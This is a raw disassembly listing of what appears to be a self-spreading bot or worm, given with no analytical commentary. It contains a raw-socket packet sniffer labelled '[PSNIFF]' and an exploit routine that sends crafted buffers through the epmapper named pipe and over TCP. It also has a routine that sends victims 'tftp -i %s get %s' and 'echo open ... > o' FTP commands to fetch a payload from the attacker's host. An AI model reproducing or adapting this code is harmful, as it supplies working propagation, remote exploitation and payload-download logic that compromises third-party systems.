		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	edi
		call	dword_43EBBC	; closesocket
		push	[ebp+var_30]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_4027C3:				; CODE XREF: sub_402669+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43EAD0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402846
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_426598
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402822
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D476
		add	esp, 14h

loc_402822:				; CODE XREF: sub_402669+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	edi
		call	dword_43EBBC	; closesocket
		push	[ebp+var_30]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_402846:				; CODE XREF: sub_402669+177j
		push	ebx
		mov	ebx, offset dword_425C90

loc_40284C:				; CODE XREF: sub_402669+21Cj
					; sub_402669+22Ej ...
		push	0FFFFh
		lea	eax, [ebp+var_102B4]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	0FFFFh
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_40295E
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40284C
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40284C
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40284C
		xor	edi, edi
		mov	eax, ebx
		mov	[ebp+arg_0], ebx

loc_4028B7:				; CODE XREF: sub_402669+269j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028DC
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028B7

loc_4028D4:				; CODE XREF: sub_402669+2F0j
		mov	edi, [ebp+var_4]
		jmp	loc_40284C
; ---------------------------------------------------------------------------

loc_4028DC:				; CODE XREF: sub_402669+25Fj
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43EA60	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_425CA4[eax*8]
		push	off_425C80[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_426548
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40294C
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D476
		add	esp, 14h

loc_40294C:				; CODE XREF: sub_402669+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BD8D
		pop	ecx
		jmp	loc_4028D4
; ---------------------------------------------------------------------------

loc_40295E:				; CODE XREF: sub_402669+20Fj
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		push	offset unk_426500
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029A4
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D476
		add	esp, 14h

loc_4029A4:				; CODE XREF: sub_402669+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BD8D
		pop	ecx
		push	edi
		call	dword_43EBBC	; closesocket
		push	[ebp+var_30]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
sub_402669	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029C8	proc near		; CODE XREF: sub_402DB1+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_426B98
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_426B90 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43BCE8
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_423070	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41785F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41785F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43BCE4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43EBC4
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402A8C
		cmp	eax, ebx
		jnz	short loc_402A96

loc_402A8C:				; CODE XREF: sub_4029C8+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43EBC4

loc_402A96:				; CODE XREF: sub_4029C8+C2j
		cmp	eax, 5
		jz	short loc_402AA4
		cmp	eax, ebx
		jz	short loc_402AA4
		xor	eax, eax
		inc	eax
		jmp	short loc_402AA6
; ---------------------------------------------------------------------------

loc_402AA4:				; CODE XREF: sub_4029C8+D1j
					; sub_4029C8+D5j
		xor	eax, eax

loc_402AA6:				; CODE XREF: sub_4029C8+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AAB	proc near		; CODE XREF: sub_402DB1+7Ap
					; sub_402DB1+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_426B98
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_426B90 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43BCE8
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_423070	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41785F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41785F
		add	esp, 10h
		jmp	short loc_402B49
; ---------------------------------------------------------------------------

loc_402B3E:				; CODE XREF: sub_402AAB+AFj
		push	7D0h
		call	dword_423064	; Sleep

loc_402B49:				; CODE XREF: sub_402AAB+91j
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43EA64
		test	eax, eax
		jnz	short loc_402B3E
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_402AAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B61	proc near		; CODE XREF: sub_402DB1+A6p
					; sub_402DB1+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417830
		push	esi
		push	edi
		push	offset byte_42E9B8
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_4168F1
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DAD
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417090
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417030
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417090
		lea	esi, [edi+0D7h]
		jmp	short loc_402C23
; ---------------------------------------------------------------------------

loc_402BE5:				; CODE XREF: sub_402B61+D0j
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417090
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417030
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417090
		lea	esi, [esi+edi+30h]

loc_402C23:				; CODE XREF: sub_402B61+82j
		add	esp, 24h
		mov	eax, esi
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_402BE5
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C4E
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C57
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C55
; ---------------------------------------------------------------------------

loc_402C4E:				; CODE XREF: sub_402B61+D9j
		cmp	[ebp+arg_C0], 3

loc_402C55:				; CODE XREF: sub_402B61+EBj
		jnz	short loc_402C60

loc_402C57:				; CODE XREF: sub_402B61+E2j
		push	4
		push	offset dword_426B8C
		jmp	short loc_402C67
; ---------------------------------------------------------------------------

loc_402C60:				; CODE XREF: sub_402B61:loc_402C55j
		push	4
		push	offset dword_426B88

loc_402C67:				; CODE XREF: sub_402B61+FDj
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417090
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_4266C0
		push	eax
		call	sub_417090
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_426A24
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417090
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_426A38
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417090
		add	edi, 3Ch
		push	30h
		push	offset dword_426A78
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417090
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417889
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417030
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417090
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_402DAD:				; CODE XREF: sub_402B61+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DB1	proc near		; CODE XREF: sub_4075B8+1D7p
					; DATA XREF: .data:off_429D64o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417830
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F1F
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029C8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40302F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_423084	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		lea	eax, [ebp+arg_4]
		jnz	short loc_402E36

loc_402E2A:				; CODE XREF: sub_402DB1+126j
		push	eax
		call	sub_402AAB
		pop	ecx
		jmp	loc_40302F
; ---------------------------------------------------------------------------

loc_402E36:				; CODE XREF: sub_402DB1+77j
		push	2
		push	eax
		call	sub_40D2C2
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B61
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402ECB
		mov	edi, 186A0h
		push	edi
		call	sub_417889
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417030
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_426670
		push	[ebp+var_4]
		call	dword_423080	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EBB
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_42307C	; WriteFile
		test	eax, eax
		jnz	short loc_402EDC

loc_402EBB:				; CODE XREF: sub_402DB1+F0j
		push	esi
		call	sub_41793B
		push	[ebp+var_8]
		call	sub_41793B
		pop	ecx
		pop	ecx

loc_402ECB:				; CODE XREF: sub_402DB1+B6j
		push	[ebp+var_4]
		call	dword_423078	; CloseHandle
		lea	eax, [ebp+arg_4]
		jmp	loc_402E2A
; ---------------------------------------------------------------------------

loc_402EDC:				; CODE XREF: sub_402DB1+108j
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	dword_423074	; ReadFile
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_41793B
		push	esi
		call	sub_41793B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_423078	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402AAB
		cmp	edi, 1
		pop	ecx
		jnz	loc_403040
		jmp	loc_40302F
; ---------------------------------------------------------------------------

loc_402F1F:				; CODE XREF: sub_402DB1+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D2C2
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40302F
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43EBA4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40302F
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43EB24	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43EB64	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B61
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FB1
		push	[ebp+var_4]
		jmp	short loc_403029
; ---------------------------------------------------------------------------

loc_402FB1:				; CODE XREF: sub_402DB1+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FC9

loc_402FC6:				; CODE XREF: sub_402DB1+22Aj
		push	esi
		jmp	short loc_403022
; ---------------------------------------------------------------------------

loc_402FC9:				; CODE XREF: sub_402DB1+213j
		push	ebx
		push	48h
		push	offset dword_426670
		push	edi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FC6
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40300A
		push	[ebp+var_8]
		jmp	short loc_403022
; ---------------------------------------------------------------------------

loc_40300A:				; CODE XREF: sub_402DB1+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403033

loc_403022:				; CODE XREF: sub_402DB1+216j
					; sub_402DB1+257j
		call	sub_41793B
		pop	ecx
		push	edi

loc_403029:				; CODE XREF: sub_402DB1+1FEj
		call	dword_43EBBC	; closesocket

loc_40302F:				; CODE XREF: sub_402DB1+31j
					; sub_402DB1+80j ...
		xor	eax, eax
		jmp	short loc_40309D
; ---------------------------------------------------------------------------

loc_403033:				; CODE XREF: sub_402DB1+26Fj
		call	sub_41793B
		pop	ecx
		push	edi
		call	dword_43EBBC	; closesocket

loc_403040:				; CODE XREF: sub_402DB1+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_426BA4
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_403058:				; CODE XREF: sub_402DB1+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BE6E
		test	eax, eax
		pop	ecx
		jnz	short loc_40307C
		push	1388h
		call	dword_423064	; Sleep
		inc	ebx
		cmp	ebx, 6
		jl	short loc_403058
		jmp	short loc_40309A
; ---------------------------------------------------------------------------

loc_40307C:				; CODE XREF: sub_402DB1+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BD8D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_429D68[eax]
		inc	dword ptr [eax]

loc_40309A:				; CODE XREF: sub_402DB1+2C9j
		xor	eax, eax
		inc	eax

loc_40309D:				; CODE XREF: sub_402DB1+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030A2	proc near		; DATA XREF: .data:00425004o
		jmp	$+5
sub_4030A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030A7	proc near
		push	0BB80h
		push	76Ch
		call	sub_4151D8
		pop	ecx
		mov	dword_43BCEC, eax
		pop	ecx
		retn
sub_4030A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030BE	proc near		; CODE XREF: sub_40321F+42Cp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43EB64	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43BCEC
		push	eax
		call	dword_43EB24	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43EBA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4031F8
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4031F8
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		mov	esi, offset byte_42E9B8
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AD08
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43BD0C
		push	[ebp+arg_0]
		call	sub_40AD08
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4031F8
		push	1F4h
		call	dword_423064	; Sleep
		push	esi
		push	offset dword_4275E0
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4031FC

loc_4031F8:				; CODE XREF: sub_4030BE+51j
					; sub_4030BE+67j ...
		xor	al, al
		jmp	short loc_40321A
; ---------------------------------------------------------------------------

loc_4031FC:				; CODE XREF: sub_4030BE+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		push	ebx
		call	dword_43EBBC	; closesocket
		mov	al, 1

loc_40321A:				; CODE XREF: sub_4030BE+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40321F	proc near		; CODE XREF: .data:00403782p
					; .data:004037A4p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417830
		mov	eax, dword_42767C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_427680
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_427670
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		xor	ebx, ebx
		xor	eax, eax

loc_403258:				; CODE XREF: sub_40321F+4Fj
		mov	cl, [ebp+eax+var_3C]
		mov	[ebp+eax*2+var_103], bl
		mov	[ebp+eax*2+var_104], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_403258
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4270E8
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4177B0
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417090
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_4177B0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4177B0
		add	al, 1Ah
		push	1
		add	al, al
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4177B0
		add	al, al
		push	1
		add	al, 9
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417090
		mov	ax, word ptr dword_43BCEC
		add	esp, 2Ch
		push	eax
		call	dword_43EB24	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_6], eax
		lea	eax, [ebp+var_6]
		push	eax
		push	offset dword_426DE0
		call	sub_417090
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40341D
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417030
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_427528[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417090
		mov	esi, offset loc_426D30
		push	esi
		call	sub_4177B0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417090
		push	4
		lea	eax, [ebp+var_11AC]
